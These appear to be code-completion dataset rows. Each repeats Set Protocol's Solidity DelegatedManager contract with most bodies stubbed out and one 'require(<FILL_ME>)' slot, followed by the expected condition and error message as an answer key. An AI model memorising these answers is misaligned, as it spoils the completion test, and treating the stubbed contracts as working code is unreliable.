function updateOwnerFeeSplit(uint256 _newFeeSplit) external mutualUpgrade(owner(), methodologist) {
}
/**
* ONLY OWNER: Update address owner receives fees at
*
* @param _newFeeRecipient Address to send owner fees to
*/
function updateOwnerFeeRecipient(address _newFeeRecipient) external onlyOwner {
}
/**
* ONLY METHODOLOGIST: Update the methodologist address
*
* @param _newMethodologist New methodologist address
*/
function setMethodologist(address _newMethodologist) external onlyMethodologist {
}
/**
* ONLY OWNER: Update the SetToken manager address.
*
* @param _newManager New manager address
*/
function setManager(address _newManager) external onlyOwner {
}
/**
* ONLY OWNER: Add a new module to the SetToken.
*
* @param _module New module to add
*/
function addModule(address _module) external onlyOwner {
}
/**
* ONLY OWNER: Remove a module from the SetToken.
*
* @param _module Module to remove
*/
function removeModule(address _module) external onlyOwner {
}
/* ============ External View Functions ============ */
function isAllowedAsset(address _asset) external view returns(bool) {
}
function isPendingExtension(address _extension) external view returns(bool) {
}
function isInitializedExtension(address _extension) external view returns(bool) {
}
function getExtensions() external view returns(address[] memory) {
}
function getOperators() external view returns(address[] memory) {
}
function getAllowedAssets() external view returns(address[] memory) {
}
/* ============ Internal Functions ============ */
/**
* Add extensions that the DelegatedManager can call.
*
* @param _extensions New extension to add
*/
function _addExtensions(address[] memory _extensions) internal {
}
/**
* Add new operator(s) address(es)
*
* @param _operators New operator to add
*/
function _addOperators(address[] memory _operators) internal {
}
/**
* Add new assets that can be traded to, wrapped to, or claimed
*
* @param _assets New asset to add
*/
function _addAllowedAssets(address[] memory _assets) internal {
}
}
| extensionAllowlist[msg.sender]==ExtensionState.PENDING,"Extension must be pending" | 412,846 | extensionAllowlist[msg.sender]==ExtensionState.PENDING |
"Extension not initialized" | /*
Copyright 2022 Set Labs Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
SPDX-License-Identifier: Apache License, Version 2.0
*/
pragma solidity 0.6.10;
import { Address } from "@openzeppelin/contracts/utils/Address.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { Ownable } from "@openzeppelin/contracts/access/Ownable.sol";
import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import { ISetToken } from "@setprotocol/set-protocol-v2/contracts/interfaces/ISetToken.sol";
import { PreciseUnitMath } from "@setprotocol/set-protocol-v2/contracts/lib/PreciseUnitMath.sol";
import { AddressArrayUtils } from "../lib/AddressArrayUtils.sol";
import { IGlobalExtension } from "../interfaces/IGlobalExtension.sol";
import { MutualUpgradeV2 } from "../lib/MutualUpgradeV2.sol";
/**
* @title DelegatedManager
* @author Set Protocol
*
* Smart contract manager that maintains permissions and SetToken admin functionality via owner role. Owner
* works alongside methodologist to ensure business agreements are kept. Owner is able to delegate maintenance
* operations to operator(s). There can be more than one operator, however they have a global role so once
* delegated to they can perform any operator delegated roles. The owner is able to set restrictions on what
* operators can do in the form of asset whitelists. Operators cannot trade/wrap/claim/etc. an asset that is not
* a part of the asset whitelist, hence they are a semi-trusted party. It is recommended that the owner address
* be managed by a multi-sig or some form of permissioning system.
*/
contract DelegatedManager is Ownable, MutualUpgradeV2 {
using Address for address;
using AddressArrayUtils for address[];
using SafeERC20 for IERC20;
/* ============ Enums ============ */
enum ExtensionState {
NONE,
PENDING,
INITIALIZED
}
/* ============ Events ============ */
event MethodologistChanged(
address indexed _newMethodologist
);
event ExtensionAdded(
address indexed _extension
);
event ExtensionRemoved(
address indexed _extension
);
event ExtensionInitialized(
address indexed _extension
);
event OperatorAdded(
address indexed _operator
);
event OperatorRemoved(
address indexed _operator
);
event AllowedAssetAdded(
address indexed _asset
);
event AllowedAssetRemoved(
address indexed _asset
);
event UseAssetAllowlistUpdated(
bool _status
);
event OwnerFeeSplitUpdated(
uint256 _newFeeSplit
);
event OwnerFeeRecipientUpdated(
address indexed _newFeeRecipient
);
/* ============ Modifiers ============ */
/**
* Throws if the sender is not the SetToken methodologist
*/
modifier onlyMethodologist() {
}
/**
* Throws if the sender is not an initialized extension
*/
modifier onlyExtension() {
}
/* ============ State Variables ============ */
// Instance of SetToken
ISetToken public immutable setToken;
// Address of factory contract used to deploy contract
address public immutable factory;
// Mapping to check which ExtensionState a given extension is in
mapping(address => ExtensionState) public extensionAllowlist;
// Array of initialized extensions
address[] internal extensions;
// Mapping indicating if address is an approved operator
mapping(address=>bool) public operatorAllowlist;
// List of approved operators
address[] internal operators;
// Mapping indicating if asset is approved to be traded for, wrapped into, claimed, etc.
mapping(address=>bool) public assetAllowlist;
// List of allowed assets
address[] internal allowedAssets;
// Toggle if asset allow list is being enforced
bool public useAssetAllowlist;
// Global owner fee split that can be referenced by Extensions
uint256 public ownerFeeSplit;
// Address owners portions of fees get sent to
address public ownerFeeRecipient;
// Address of methodologist which serves as providing methodology for the index and receives fee splits
address public methodologist;
/* ============ Constructor ============ */
constructor(
ISetToken _setToken,
address _factory,
address _methodologist,
address[] memory _extensions,
address[] memory _operators,
address[] memory _allowedAssets,
bool _useAssetAllowlist
)
public
{
}
/* ============ External Functions ============ */
/**
* ONLY EXTENSION: Interact with a module registered on the SetToken. In order to ensure SetToken admin
* functions can only be changed from this contract no calls to the SetToken can originate from Extensions.
* To transfer SetTokens use the `transferTokens` function.
*
* @param _module Module to interact with
* @param _data Byte data of function to call in module
*/
function interactManager(address _module, bytes calldata _data) external onlyExtension {
}
/**
* EXTENSION ONLY: Transfers _tokens held by the manager to _destination. Can be used to
* distribute fees or recover anything sent here accidentally.
*
* @param _token ERC20 token to send
* @param _destination Address receiving the tokens
* @param _amount Quantity of tokens to send
*/
function transferTokens(address _token, address _destination, uint256 _amount) external onlyExtension {
}
/**
* Initializes an added extension from PENDING to INITIALIZED state and adds to extension array. An
* address can only enter a PENDING state if it is an enabled extension added by the manager. Only
* callable by the extension itself, hence msg.sender is the subject of update.
*/
function initializeExtension() external {
}
/**
* ONLY OWNER: Add new extension(s) that the DelegatedManager can call. Puts extensions into PENDING
* state, each must be initialized in order to be used.
*
* @param _extensions New extension(s) to add
*/
function addExtensions(address[] memory _extensions) external onlyOwner {
}
/**
* ONLY OWNER: Remove existing extension(s) tracked by the DelegatedManager. Removed extensions are
* placed in NONE state.
*
* @param _extensions Old extension to remove
*/
function removeExtensions(address[] memory _extensions) external onlyOwner {
for (uint256 i = 0; i < _extensions.length; i++) {
address extension = _extensions[i];
require(<FILL_ME>)
extensions.removeStorage(extension);
extensionAllowlist[extension] = ExtensionState.NONE;
IGlobalExtension(extension).removeExtension();
emit ExtensionRemoved(extension);
}
}
/**
* ONLY OWNER: Add new operator(s) address(es)
*
* @param _operators New operator(s) to add
*/
function addOperators(address[] memory _operators) external onlyOwner {
}
/**
* ONLY OWNER: Remove operator(s) from the allowlist
*
* @param _operators New operator(s) to remove
*/
function removeOperators(address[] memory _operators) external onlyOwner {
}
/**
* ONLY OWNER: Add new asset(s) that can be traded to, wrapped to, or claimed
*
* @param _assets New asset(s) to add
*/
function addAllowedAssets(address[] memory _assets) external onlyOwner {
}
/**
* ONLY OWNER: Remove asset(s) so that it/they can't be traded to, wrapped to, or claimed
*
* @param _assets Asset(s) to remove
*/
function removeAllowedAssets(address[] memory _assets) external onlyOwner {
}
/**
* ONLY OWNER: Toggle useAssetAllowlist on and off. When false asset allowlist is ignored
* when true it is enforced.
*
* @param _useAssetAllowlist Bool indicating whether to use asset allow list
*/
function updateUseAssetAllowlist(bool _useAssetAllowlist) external onlyOwner {
}
/**
* ONLY OWNER: Update percent of fees that are sent to owner
*
* @param _newFeeSplit Percent in precise units (100% = 10**18) of fees that accrue to owner
*/
function updateOwnerFeeSplit(uint256 _newFeeSplit) external mutualUpgrade(owner(), methodologist) {
}
/**
* ONLY OWNER: Update address owner receives fees at
*
* @param _newFeeRecipient Address to send owner fees to
*/
function updateOwnerFeeRecipient(address _newFeeRecipient) external onlyOwner {
}
/**
* ONLY METHODOLOGIST: Update the methodologist address
*
* @param _newMethodologist New methodologist address
*/
function setMethodologist(address _newMethodologist) external onlyMethodologist {
}
/**
* ONLY OWNER: Update the SetToken manager address.
*
* @param _newManager New manager address
*/
function setManager(address _newManager) external onlyOwner {
}
/**
* ONLY OWNER: Add a new module to the SetToken.
*
* @param _module New module to add
*/
function addModule(address _module) external onlyOwner {
}
/**
* ONLY OWNER: Remove a module from the SetToken.
*
* @param _module Module to remove
*/
function removeModule(address _module) external onlyOwner {
}
/* ============ External View Functions ============ */
function isAllowedAsset(address _asset) external view returns(bool) {
}
function isPendingExtension(address _extension) external view returns(bool) {
}
function isInitializedExtension(address _extension) external view returns(bool) {
}
function getExtensions() external view returns(address[] memory) {
}
function getOperators() external view returns(address[] memory) {
}
function getAllowedAssets() external view returns(address[] memory) {
}
/* ============ Internal Functions ============ */
/**
* Add extensions that the DelegatedManager can call.
*
* @param _extensions New extension to add
*/
function _addExtensions(address[] memory _extensions) internal {
}
/**
* Add new operator(s) address(es)
*
* @param _operators New operator to add
*/
function _addOperators(address[] memory _operators) internal {
}
/**
* Add new assets that can be traded to, wrapped to, or claimed
*
* @param _assets New asset to add
*/
function _addAllowedAssets(address[] memory _assets) internal {
}
}
| extensionAllowlist[extension]==ExtensionState.INITIALIZED,"Extension not initialized" | 412,846 | extensionAllowlist[extension]==ExtensionState.INITIALIZED |
"Operator not already added" | /*
Copyright 2022 Set Labs Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
SPDX-License-Identifier: Apache License, Version 2.0
*/
pragma solidity 0.6.10;
import { Address } from "@openzeppelin/contracts/utils/Address.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { Ownable } from "@openzeppelin/contracts/access/Ownable.sol";
import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import { ISetToken } from "@setprotocol/set-protocol-v2/contracts/interfaces/ISetToken.sol";
import { PreciseUnitMath } from "@setprotocol/set-protocol-v2/contracts/lib/PreciseUnitMath.sol";
import { AddressArrayUtils } from "../lib/AddressArrayUtils.sol";
import { IGlobalExtension } from "../interfaces/IGlobalExtension.sol";
import { MutualUpgradeV2 } from "../lib/MutualUpgradeV2.sol";
/**
* @title DelegatedManager
* @author Set Protocol
*
* Smart contract manager that maintains permissions and SetToken admin functionality via owner role. Owner
* works alongside methodologist to ensure business agreements are kept. Owner is able to delegate maintenance
* operations to operator(s). There can be more than one operator, however they have a global role so once
* delegated to they can perform any operator delegated roles. The owner is able to set restrictions on what
* operators can do in the form of asset whitelists. Operators cannot trade/wrap/claim/etc. an asset that is not
* a part of the asset whitelist, hence they are a semi-trusted party. It is recommended that the owner address
* be managed by a multi-sig or some form of permissioning system.
*/
contract DelegatedManager is Ownable, MutualUpgradeV2 {
using Address for address;
using AddressArrayUtils for address[];
using SafeERC20 for IERC20;
/* ============ Enums ============ */
enum ExtensionState {
NONE,
PENDING,
INITIALIZED
}
/* ============ Events ============ */
event MethodologistChanged(
address indexed _newMethodologist
);
event ExtensionAdded(
address indexed _extension
);
event ExtensionRemoved(
address indexed _extension
);
event ExtensionInitialized(
address indexed _extension
);
event OperatorAdded(
address indexed _operator
);
event OperatorRemoved(
address indexed _operator
);
event AllowedAssetAdded(
address indexed _asset
);
event AllowedAssetRemoved(
address indexed _asset
);
event UseAssetAllowlistUpdated(
bool _status
);
event OwnerFeeSplitUpdated(
uint256 _newFeeSplit
);
event OwnerFeeRecipientUpdated(
address indexed _newFeeRecipient
);
/* ============ Modifiers ============ */
/**
* Throws if the sender is not the SetToken methodologist
*/
modifier onlyMethodologist() {
}
/**
* Throws if the sender is not an initialized extension
*/
modifier onlyExtension() {
}
/* ============ State Variables ============ */
// Instance of SetToken
ISetToken public immutable setToken;
// Address of factory contract used to deploy contract
address public immutable factory;
// Mapping to check which ExtensionState a given extension is in
mapping(address => ExtensionState) public extensionAllowlist;
// Array of initialized extensions
address[] internal extensions;
// Mapping indicating if address is an approved operator
mapping(address=>bool) public operatorAllowlist;
// List of approved operators
address[] internal operators;
// Mapping indicating if asset is approved to be traded for, wrapped into, claimed, etc.
mapping(address=>bool) public assetAllowlist;
// List of allowed assets
address[] internal allowedAssets;
// Toggle if asset allow list is being enforced
bool public useAssetAllowlist;
// Global owner fee split that can be referenced by Extensions
uint256 public ownerFeeSplit;
// Address owners portions of fees get sent to
address public ownerFeeRecipient;
// Address of methodologist which serves as providing methodology for the index and receives fee splits
address public methodologist;
/* ============ Constructor ============ */
constructor(
ISetToken _setToken,
address _factory,
address _methodologist,
address[] memory _extensions,
address[] memory _operators,
address[] memory _allowedAssets,
bool _useAssetAllowlist
)
public
{
}
/* ============ External Functions ============ */
/**
* ONLY EXTENSION: Interact with a module registered on the SetToken. In order to ensure SetToken admin
* functions can only be changed from this contract no calls to the SetToken can originate from Extensions.
* To transfer SetTokens use the `transferTokens` function.
*
* @param _module Module to interact with
* @param _data Byte data of function to call in module
*/
function interactManager(address _module, bytes calldata _data) external onlyExtension {
}
/**
* EXTENSION ONLY: Transfers _tokens held by the manager to _destination. Can be used to
* distribute fees or recover anything sent here accidentally.
*
* @param _token ERC20 token to send
* @param _destination Address receiving the tokens
* @param _amount Quantity of tokens to send
*/
function transferTokens(address _token, address _destination, uint256 _amount) external onlyExtension {
}
/**
* Initializes an added extension from PENDING to INITIALIZED state and adds to extension array. An
* address can only enter a PENDING state if it is an enabled extension added by the manager. Only
* callable by the extension itself, hence msg.sender is the subject of update.
*/
function initializeExtension() external {
}
/**
* ONLY OWNER: Add new extension(s) that the DelegatedManager can call. Puts extensions into PENDING
* state, each must be initialized in order to be used.
*
* @param _extensions New extension(s) to add
*/
function addExtensions(address[] memory _extensions) external onlyOwner {
}
/**
* ONLY OWNER: Remove existing extension(s) tracked by the DelegatedManager. Removed extensions are
* placed in NONE state.
*
* @param _extensions Old extension to remove
*/
function removeExtensions(address[] memory _extensions) external onlyOwner {
}
/**
* ONLY OWNER: Add new operator(s) address(es)
*
* @param _operators New operator(s) to add
*/
function addOperators(address[] memory _operators) external onlyOwner {
}
/**
* ONLY OWNER: Remove operator(s) from the allowlist
*
* @param _operators New operator(s) to remove
*/
function removeOperators(address[] memory _operators) external onlyOwner {
for (uint256 i = 0; i < _operators.length; i++) {
address operator = _operators[i];
require(<FILL_ME>)
operators.removeStorage(operator);
operatorAllowlist[operator] = false;
emit OperatorRemoved(operator);
}
}
/**
* ONLY OWNER: Add new asset(s) that can be traded to, wrapped to, or claimed
*
* @param _assets New asset(s) to add
*/
function addAllowedAssets(address[] memory _assets) external onlyOwner {
}
/**
* ONLY OWNER: Remove asset(s) so that it/they can't be traded to, wrapped to, or claimed
*
* @param _assets Asset(s) to remove
*/
function removeAllowedAssets(address[] memory _assets) external onlyOwner {
}
/**
* ONLY OWNER: Toggle useAssetAllowlist on and off. When false asset allowlist is ignored
* when true it is enforced.
*
* @param _useAssetAllowlist Bool indicating whether to use asset allow list
*/
function updateUseAssetAllowlist(bool _useAssetAllowlist) external onlyOwner {
}
/**
* ONLY OWNER: Update percent of fees that are sent to owner
*
* @param _newFeeSplit Percent in precise units (100% = 10**18) of fees that accrue to owner
*/
function updateOwnerFeeSplit(uint256 _newFeeSplit) external mutualUpgrade(owner(), methodologist) {
}
/**
* ONLY OWNER: Update address owner receives fees at
*
* @param _newFeeRecipient Address to send owner fees to
*/
function updateOwnerFeeRecipient(address _newFeeRecipient) external onlyOwner {
}
/**
* ONLY METHODOLOGIST: Update the methodologist address
*
* @param _newMethodologist New methodologist address
*/
function setMethodologist(address _newMethodologist) external onlyMethodologist {
}
/**
* ONLY OWNER: Update the SetToken manager address.
*
* @param _newManager New manager address
*/
function setManager(address _newManager) external onlyOwner {
}
/**
* ONLY OWNER: Add a new module to the SetToken.
*
* @param _module New module to add
*/
function addModule(address _module) external onlyOwner {
}
/**
* ONLY OWNER: Remove a module from the SetToken.
*
* @param _module Module to remove
*/
function removeModule(address _module) external onlyOwner {
}
/* ============ External View Functions ============ */
function isAllowedAsset(address _asset) external view returns(bool) {
}
function isPendingExtension(address _extension) external view returns(bool) {
}
function isInitializedExtension(address _extension) external view returns(bool) {
}
function getExtensions() external view returns(address[] memory) {
}
function getOperators() external view returns(address[] memory) {
}
function getAllowedAssets() external view returns(address[] memory) {
}
/* ============ Internal Functions ============ */
/**
* Add extensions that the DelegatedManager can call.
*
* @param _extensions New extension to add
*/
function _addExtensions(address[] memory _extensions) internal {
}
/**
* Add new operator(s) address(es)
*
* @param _operators New operator to add
*/
function _addOperators(address[] memory _operators) internal {
}
/**
* Add new assets that can be traded to, wrapped to, or claimed
*
* @param _assets New asset to add
*/
function _addAllowedAssets(address[] memory _assets) internal {
}
}
| operatorAllowlist[operator],"Operator not already added" | 412,846 | operatorAllowlist[operator] |
"Asset not already added" | /*
Copyright 2022 Set Labs Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
SPDX-License-Identifier: Apache License, Version 2.0
*/
pragma solidity 0.6.10;
import { Address } from "@openzeppelin/contracts/utils/Address.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { Ownable } from "@openzeppelin/contracts/access/Ownable.sol";
import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import { ISetToken } from "@setprotocol/set-protocol-v2/contracts/interfaces/ISetToken.sol";
import { PreciseUnitMath } from "@setprotocol/set-protocol-v2/contracts/lib/PreciseUnitMath.sol";
import { AddressArrayUtils } from "../lib/AddressArrayUtils.sol";
import { IGlobalExtension } from "../interfaces/IGlobalExtension.sol";
import { MutualUpgradeV2 } from "../lib/MutualUpgradeV2.sol";
/**
* @title DelegatedManager
* @author Set Protocol
*
* Smart contract manager that maintains permissions and SetToken admin functionality via owner role. Owner
* works alongside methodologist to ensure business agreements are kept. Owner is able to delegate maintenance
* operations to operator(s). There can be more than one operator, however they have a global role so once
* delegated to they can perform any operator delegated roles. The owner is able to set restrictions on what
* operators can do in the form of asset whitelists. Operators cannot trade/wrap/claim/etc. an asset that is not
* a part of the asset whitelist, hence they are a semi-trusted party. It is recommended that the owner address
* be managed by a multi-sig or some form of permissioning system.
*/
contract DelegatedManager is Ownable, MutualUpgradeV2 {
using Address for address;
using AddressArrayUtils for address[];
using SafeERC20 for IERC20;
/* ============ Enums ============ */
enum ExtensionState {
NONE,
PENDING,
INITIALIZED
}
/* ============ Events ============ */
event MethodologistChanged(
address indexed _newMethodologist
);
event ExtensionAdded(
address indexed _extension
);
event ExtensionRemoved(
address indexed _extension
);
event ExtensionInitialized(
address indexed _extension
);
event OperatorAdded(
address indexed _operator
);
event OperatorRemoved(
address indexed _operator
);
event AllowedAssetAdded(
address indexed _asset
);
event AllowedAssetRemoved(
address indexed _asset
);
event UseAssetAllowlistUpdated(
bool _status
);
event OwnerFeeSplitUpdated(
uint256 _newFeeSplit
);
event OwnerFeeRecipientUpdated(
address indexed _newFeeRecipient
);
/* ============ Modifiers ============ */
/**
* Throws if the sender is not the SetToken methodologist
*/
modifier onlyMethodologist() {
}
/**
* Throws if the sender is not an initialized extension
*/
modifier onlyExtension() {
}
/* ============ State Variables ============ */
// Instance of SetToken
ISetToken public immutable setToken;
// Address of factory contract used to deploy contract
address public immutable factory;
// Mapping to check which ExtensionState a given extension is in
mapping(address => ExtensionState) public extensionAllowlist;
// Array of initialized extensions
address[] internal extensions;
// Mapping indicating if address is an approved operator
mapping(address=>bool) public operatorAllowlist;
// List of approved operators
address[] internal operators;
// Mapping indicating if asset is approved to be traded for, wrapped into, claimed, etc.
mapping(address=>bool) public assetAllowlist;
// List of allowed assets
address[] internal allowedAssets;
// Toggle if asset allow list is being enforced
bool public useAssetAllowlist;
// Global owner fee split that can be referenced by Extensions
uint256 public ownerFeeSplit;
// Address owners portions of fees get sent to
address public ownerFeeRecipient;
// Address of methodologist which serves as providing methodology for the index and receives fee splits
address public methodologist;
/* ============ Constructor ============ */
constructor(
ISetToken _setToken,
address _factory,
address _methodologist,
address[] memory _extensions,
address[] memory _operators,
address[] memory _allowedAssets,
bool _useAssetAllowlist
)
public
{
}
/* ============ External Functions ============ */
/**
* ONLY EXTENSION: Interact with a module registered on the SetToken. In order to ensure SetToken admin
* functions can only be changed from this contract no calls to the SetToken can originate from Extensions.
* To transfer SetTokens use the `transferTokens` function.
*
* @param _module Module to interact with
* @param _data Byte data of function to call in module
*/
function interactManager(address _module, bytes calldata _data) external onlyExtension {
}
/**
* EXTENSION ONLY: Transfers _tokens held by the manager to _destination. Can be used to
* distribute fees or recover anything sent here accidentally.
*
* @param _token ERC20 token to send
* @param _destination Address receiving the tokens
* @param _amount Quantity of tokens to send
*/
function transferTokens(address _token, address _destination, uint256 _amount) external onlyExtension {
}
/**
* Initializes an added extension from PENDING to INITIALIZED state and adds to extension array. An
* address can only enter a PENDING state if it is an enabled extension added by the manager. Only
* callable by the extension itself, hence msg.sender is the subject of update.
*/
function initializeExtension() external {
}
/**
* ONLY OWNER: Add new extension(s) that the DelegatedManager can call. Puts extensions into PENDING
* state, each must be initialized in order to be used.
*
* @param _extensions New extension(s) to add
*/
function addExtensions(address[] memory _extensions) external onlyOwner {
}
/**
* ONLY OWNER: Remove existing extension(s) tracked by the DelegatedManager. Removed extensions are
* placed in NONE state.
*
* @param _extensions Old extension to remove
*/
function removeExtensions(address[] memory _extensions) external onlyOwner {
}
/**
* ONLY OWNER: Add new operator(s) address(es)
*
* @param _operators New operator(s) to add
*/
function addOperators(address[] memory _operators) external onlyOwner {
}
/**
* ONLY OWNER: Remove operator(s) from the allowlist
*
* @param _operators New operator(s) to remove
*/
function removeOperators(address[] memory _operators) external onlyOwner {
}
/**
* ONLY OWNER: Add new asset(s) that can be traded to, wrapped to, or claimed
*
* @param _assets New asset(s) to add
*/
function addAllowedAssets(address[] memory _assets) external onlyOwner {
}
/**
* ONLY OWNER: Remove asset(s) so that it/they can't be traded to, wrapped to, or claimed
*
* @param _assets Asset(s) to remove
*/
function removeAllowedAssets(address[] memory _assets) external onlyOwner {
for (uint256 i = 0; i < _assets.length; i++) {
address asset = _assets[i];
require(<FILL_ME>)
allowedAssets.removeStorage(asset);
assetAllowlist[asset] = false;
emit AllowedAssetRemoved(asset);
}
}
/**
* ONLY OWNER: Toggle useAssetAllowlist on and off. When false asset allowlist is ignored
* when true it is enforced.
*
* @param _useAssetAllowlist Bool indicating whether to use asset allow list
*/
function updateUseAssetAllowlist(bool _useAssetAllowlist) external onlyOwner {
}
/**
* ONLY OWNER: Update percent of fees that are sent to owner
*
* @param _newFeeSplit Percent in precise units (100% = 10**18) of fees that accrue to owner
*/
function updateOwnerFeeSplit(uint256 _newFeeSplit) external mutualUpgrade(owner(), methodologist) {
}
/**
* ONLY OWNER: Update address owner receives fees at
*
* @param _newFeeRecipient Address to send owner fees to
*/
function updateOwnerFeeRecipient(address _newFeeRecipient) external onlyOwner {
}
/**
* ONLY METHODOLOGIST: Update the methodologist address
*
* @param _newMethodologist New methodologist address
*/
function setMethodologist(address _newMethodologist) external onlyMethodologist {
}
/**
* ONLY OWNER: Update the SetToken manager address.
*
* @param _newManager New manager address
*/
function setManager(address _newManager) external onlyOwner {
}
/**
* ONLY OWNER: Add a new module to the SetToken.
*
* @param _module New module to add
*/
function addModule(address _module) external onlyOwner {
}
/**
* ONLY OWNER: Remove a module from the SetToken.
*
* @param _module Module to remove
*/
function removeModule(address _module) external onlyOwner {
}
/* ============ External View Functions ============ */
function isAllowedAsset(address _asset) external view returns(bool) {
}
function isPendingExtension(address _extension) external view returns(bool) {
}
function isInitializedExtension(address _extension) external view returns(bool) {
}
function getExtensions() external view returns(address[] memory) {
}
function getOperators() external view returns(address[] memory) {
}
function getAllowedAssets() external view returns(address[] memory) {
}
/* ============ Internal Functions ============ */
/**
* Add extensions that the DelegatedManager can call.
*
* @param _extensions New extension to add
*/
function _addExtensions(address[] memory _extensions) internal {
}
/**
* Add new operator(s) address(es)
*
* @param _operators New operator to add
*/
function _addOperators(address[] memory _operators) internal {
}
/**
* Add new assets that can be traded to, wrapped to, or claimed
*
* @param _assets New asset to add
*/
function _addAllowedAssets(address[] memory _assets) internal {
}
}
| assetAllowlist[asset],"Asset not already added" | 412,846 | assetAllowlist[asset] |
"Extension already exists" | /*
Copyright 2022 Set Labs Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
SPDX-License-Identifier: Apache License, Version 2.0
*/
pragma solidity 0.6.10;
import { Address } from "@openzeppelin/contracts/utils/Address.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { Ownable } from "@openzeppelin/contracts/access/Ownable.sol";
import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import { ISetToken } from "@setprotocol/set-protocol-v2/contracts/interfaces/ISetToken.sol";
import { PreciseUnitMath } from "@setprotocol/set-protocol-v2/contracts/lib/PreciseUnitMath.sol";
import { AddressArrayUtils } from "../lib/AddressArrayUtils.sol";
import { IGlobalExtension } from "../interfaces/IGlobalExtension.sol";
import { MutualUpgradeV2 } from "../lib/MutualUpgradeV2.sol";
/**
* @title DelegatedManager
* @author Set Protocol
*
* Smart contract manager that maintains permissions and SetToken admin functionality via owner role. Owner
* works alongside methodologist to ensure business agreements are kept. Owner is able to delegate maintenance
* operations to operator(s). There can be more than one operator, however they have a global role so once
* delegated to they can perform any operator delegated roles. The owner is able to set restrictions on what
* operators can do in the form of asset whitelists. Operators cannot trade/wrap/claim/etc. an asset that is not
* a part of the asset whitelist, hence they are a semi-trusted party. It is recommended that the owner address
* be managed by a multi-sig or some form of permissioning system.
*/
contract DelegatedManager is Ownable, MutualUpgradeV2 {
using Address for address;
using AddressArrayUtils for address[];
using SafeERC20 for IERC20;
/* ============ Enums ============ */
enum ExtensionState {
NONE,
PENDING,
INITIALIZED
}
/* ============ Events ============ */
event MethodologistChanged(
address indexed _newMethodologist
);
event ExtensionAdded(
address indexed _extension
);
event ExtensionRemoved(
address indexed _extension
);
event ExtensionInitialized(
address indexed _extension
);
event OperatorAdded(
address indexed _operator
);
event OperatorRemoved(
address indexed _operator
);
event AllowedAssetAdded(
address indexed _asset
);
event AllowedAssetRemoved(
address indexed _asset
);
event UseAssetAllowlistUpdated(
bool _status
);
event OwnerFeeSplitUpdated(
uint256 _newFeeSplit
);
event OwnerFeeRecipientUpdated(
address indexed _newFeeRecipient
);
/* ============ Modifiers ============ */
/**
* Throws if the sender is not the SetToken methodologist
*/
modifier onlyMethodologist() {
}
/**
* Throws if the sender is not an initialized extension
*/
modifier onlyExtension() {
}
/* ============ State Variables ============ */
// Instance of SetToken
ISetToken public immutable setToken;
// Address of factory contract used to deploy contract
address public immutable factory;
// Mapping to check which ExtensionState a given extension is in
mapping(address => ExtensionState) public extensionAllowlist;
// Array of initialized extensions
address[] internal extensions;
// Mapping indicating if address is an approved operator
mapping(address=>bool) public operatorAllowlist;
// List of approved operators
address[] internal operators;
// Mapping indicating if asset is approved to be traded for, wrapped into, claimed, etc.
mapping(address=>bool) public assetAllowlist;
// List of allowed assets
address[] internal allowedAssets;
// Toggle if asset allow list is being enforced
bool public useAssetAllowlist;
// Global owner fee split that can be referenced by Extensions
uint256 public ownerFeeSplit;
// Address owners portions of fees get sent to
address public ownerFeeRecipient;
// Address of methodologist which serves as providing methodology for the index and receives fee splits
address public methodologist;
/* ============ Constructor ============ */
constructor(
ISetToken _setToken,
address _factory,
address _methodologist,
address[] memory _extensions,
address[] memory _operators,
address[] memory _allowedAssets,
bool _useAssetAllowlist
)
public
{
}
/* ============ External Functions ============ */
/**
* ONLY EXTENSION: Interact with a module registered on the SetToken. In order to ensure SetToken admin
* functions can only be changed from this contract no calls to the SetToken can originate from Extensions.
* To transfer SetTokens use the `transferTokens` function.
*
* @param _module Module to interact with
* @param _data Byte data of function to call in module
*/
function interactManager(address _module, bytes calldata _data) external onlyExtension {
}
/**
* EXTENSION ONLY: Transfers _tokens held by the manager to _destination. Can be used to
* distribute fees or recover anything sent here accidentally.
*
* @param _token ERC20 token to send
* @param _destination Address receiving the tokens
* @param _amount Quantity of tokens to send
*/
function transferTokens(address _token, address _destination, uint256 _amount) external onlyExtension {
}
/**
* Initializes an added extension from PENDING to INITIALIZED state and adds to extension array. An
* address can only enter a PENDING state if it is an enabled extension added by the manager. Only
* callable by the extension itself, hence msg.sender is the subject of update.
*/
function initializeExtension() external {
}
/**
* ONLY OWNER: Add new extension(s) that the DelegatedManager can call. Puts extensions into PENDING
* state, each must be initialized in order to be used.
*
* @param _extensions New extension(s) to add
*/
function addExtensions(address[] memory _extensions) external onlyOwner {
}
/**
